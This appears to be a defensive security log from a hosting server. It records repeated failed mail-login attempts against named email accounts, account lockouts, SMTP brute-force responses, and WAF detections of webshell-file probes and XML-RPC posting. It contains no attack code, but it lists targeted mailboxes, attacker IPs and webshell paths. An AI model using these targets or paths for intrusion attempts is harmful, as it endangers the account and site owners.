IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=806383 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:23:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59134: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:23:15 dovecot_login authenticator failed for H=(28eShvJYJ) [165.154.217.204]:56371: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:23:25 dovecot_login authenticator failed for H=(ooPrzTho) [178.16.52.139]:62757: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:23:19 dovecot_login authenticator failed for H=(pAVhCGjC) [178.16.54.138]:52568: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:23:33 dovecot_login authenticator failed for H=(mTvRs5WZO) [158.94.208.175]:53985: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:23:44 dovecot_login authenticator failed for H=(BKjBxkJtT6) [77.83.39.253]:41038: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:24:18 dovecot_login authenticator failed for H=(ODeGguwW) [165.154.217.204]:61031: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:24:27 dovecot_login authenticator failed for H=(peDH2XkIw0) [178.16.52.139]:60516: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:24:02 dovecot_login authenticator failed for H=(OLVZ9DoL) [185.230.124.69]:63174: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:24:07 dovecot_login authenticator failed for H=(gaDUEB) [77.83.39.253]:7003: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:24:13 dovecot_login authenticator failed for H=(9NIKJvAGH) [165.154.217.204]:60551: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:24:35 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:24:46 dovecot_login authenticator failed for H=(PonS34) [178.16.54.138]:52477: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:24:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55359: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:24:12 dovecot_login authenticator failed for H=(mofy9zNCb9) [158.94.208.175]:51305: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:24:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:25:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:25:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60210: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:25:14 dovecot_login authenticator failed for H=(NKchjh) [158.94.208.175]:51733: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:25:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:25:18 dovecot_login authenticator failed for H=(p0uTpZk) [185.230.124.69]:50021: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.143
country_id: 1668284
description:
2026-02-02 06:25:23 dovecot_login authenticator failed for H=111-70-28-143.emome-ip.hinet.net [111.70.28.143]:34287: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:25:47 dovecot_login authenticator failed for H=(h3YJa9bE) [165.154.217.204]:51199: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:25:09 dovecot_login authenticator failed for H=(uLL19I5T5M) [165.154.217.204]:64813: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.146.91.181
country_id: 1814991
description:
2026-02-02 06:25:10 dovecot_login authenticator failed for H=([119.146.91.181]) [119.146.91.181]:50540: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:25:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:25:19 dovecot_login authenticator failed for H=(hTAxcr4) [77.83.39.253]:27276: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:25:28 dovecot_login authenticator failed for H=(UxaF1Zsp) [178.16.52.139]:55494: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:25:40 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54546: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.89.155.11
country_id: 2542007
description:
2026-02-02 06:25:44 dovecot_login authenticator failed for H=(A2E7plBXf) [196.89.155.11]:5202: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:26:15 dovecot_login authenticator failed for H=(tHjb0KZ68) [185.230.124.69]:64398: 535 Incorrect authentication data (set_id=darren)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 31.217.165.156
country_id: 390903
domain: gagasanteguh.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20575.gagasanteguh.com.my||ServerName:gagasanteguh.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:979c5c04035e941958cd892d542bfff2bbee37c1||Title:0xe9d9fc15||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:26:42 dovecot_login authenticator failed for H=(0QGGUB) [178.16.54.138]:55604: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:26:44 dovecot_login authenticator failed for H=(ztFF5UnAq) [158.94.208.175]:59244: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:26:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:26:06 dovecot_login authenticator failed for H=(Dy63ErO) [77.83.39.253]:20254: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:26:06 dovecot_login authenticator failed for H=(mtksrq) [165.154.217.204]:52699: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:26:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:26:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54141: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:26:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:27:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:27:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:27:12 dovecot_login authenticator failed for H=(7YomTwYKz) [185.230.124.69]:55935: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:27:49 dovecot_login authenticator failed for H=(KF8dUI) [178.16.54.138]:51966: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:27:16 dovecot_login authenticator failed for H=(6RJEnPoN2x) [158.94.208.175]:54701: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:27:20 dovecot_login authenticator failed for H=(cDIhrm8) [165.154.217.204]:58803: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:27:02 dovecot_login authenticator failed for H=(G3qVJ5) [165.154.217.204]:57272: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:27:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64844: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:27:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:27:13 dovecot_login authenticator failed for H=(KRrGl6zM) [178.16.52.139]:51978: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:27:48 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46418: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:28:07 dovecot_login authenticator failed for H=(r1fIHMKHbV) [165.154.217.204]:62584: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:28:09 dovecot_login authenticator failed for H=(Po9PPD) [185.230.124.69]:60845: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:28:12 dovecot_login authenticator failed for H=(p0j1O3sbi) [92.118.39.145]:54929: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:28:44 dovecot_login authenticator failed for H=(Hsu0ZtAde) [165.154.217.204]:49309: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.162.203
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=19301515566252 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:28:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65144: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:28:20 dovecot_login authenticator failed for H=(JF75wrJRq) [158.94.208.175]:53860: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:28:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:28:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:28:08 dovecot_login authenticator failed for H=(QDPYPfyd) [178.16.52.139]:63222: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:29:03 dovecot_login authenticator failed for H=(S4xmirKYQ) [165.154.217.204]:50904: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.148.165
country_id: 99237
description:
2026-02-02 06:29:54 dovecot_plain authenticator failed for H=(sanker) [65.20.148.165]:57712: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:29:06 dovecot_login authenticator failed for H=(oa1cKA) [185.230.124.69]:54416: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:29:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56476: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:29:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:29:09 dovecot_login authenticator failed for H=(TZaVodeu7h) [178.16.52.139]:53981: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:29:28 dovecot_login authenticator failed for H=(TsONBOvdd) [158.94.208.175]:58281: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:29:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53517: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:29:24 dovecot_login authenticator failed for H=(YFPR3FTY6) [92.118.39.145]:57279: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:29:26 dovecot_login authenticator failed for H=(JqQ9oLyFo) [178.16.54.138]:62854: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:30:03 dovecot_login authenticator failed for H=(RP6LGL7z) [185.230.124.69]:54938: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:30:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.204
country_id: 337996
description:
2026-02-02 06:30:17 dovecot_login authenticator failed for H=([196.191.212.236]) [213.55.85.204]:5692: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-02-02 06:30:06 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:57540: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:30:06 dovecot_login authenticator failed for H=(aWLbhP4Pz) [158.94.208.175]:50216: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:30:10 dovecot_login authenticator failed for H=(oqC9nzAD) [165.154.217.204]:58616: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.135.206.10
country_id: 3469034
description:
2026-02-02 06:30:29 dovecot_login authenticator failed for H=(corporativo.static.gvt.net.br) [177.135.206.10]:37146: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/services/survey-meter/images/sliders/survey-meter.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:30:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:30:10 dovecot_login authenticator failed for H=(pKLfpB48) [92.118.39.145]:59164: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:30:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64005: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:30:06 dovecot_login authenticator failed for H=(EFpEla3) [178.16.52.139]:51310: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:30:11 dovecot_login authenticator failed for H=(hCUAZvX3) [165.154.217.204]:58700: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-02 06:30:23 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:29040: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:30:30 dovecot_login authenticator failed for H=(eG90LPr7) [178.16.54.138]:49691: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.168.104.169
country_id: 1814991
description:
2026-02-02 06:31:32 dovecot_login authenticator failed for H=(pc169.zz.ha.cn) [61.168.104.169]:54271: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:31:04 dovecot_login authenticator failed for H=(gK6JvW) [158.94.208.175]:61674: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:31:13 dovecot_login authenticator failed for H=(bfCLiHmnoV) [178.16.52.139]:63259: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:31:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58045: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:31:44 dovecot_login authenticator failed for H=(PjykSbLiE) [165.154.217.204]:50897: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-02-02 06:31:14 dovecot_login authenticator failed for H=(136-56-34-147.googlefiber.net) [136.56.34.147]:59490: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:31:20 dovecot_login authenticator failed for H=(GHBZBct) [185.230.124.69]:49801: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:31:39 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:31:35 dovecot_login authenticator failed for H=(XBNOwIiN5) [178.16.54.138]:55549: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:31:07 dovecot_login authenticator failed for H=(49Nf30VCyl) [165.154.217.204]:63968: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:31:18 dovecot_login authenticator failed for H=(up8Est) [92.118.39.145]:62419: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-02 06:31:03 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:47040: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:31:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:32:02 dovecot_login authenticator failed for H=(qNYiz35wr) [158.94.208.175]:63872: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:32:03 dovecot_login authenticator failed for H=(GdYjje67ky) [165.154.217.204]:53158: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:32:08 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59978: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:32:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52017: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:32:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales@box.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:32:03 dovecot_login authenticator failed for H=(ofu8Ds9M8q) [92.118.39.145]:64324: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:32:09 dovecot_login authenticator failed for H=(UivBp2) [178.16.52.139]:56101: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:32:18 dovecot_login authenticator failed for H=(u15EtGE5) [185.230.124.69]:64658: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
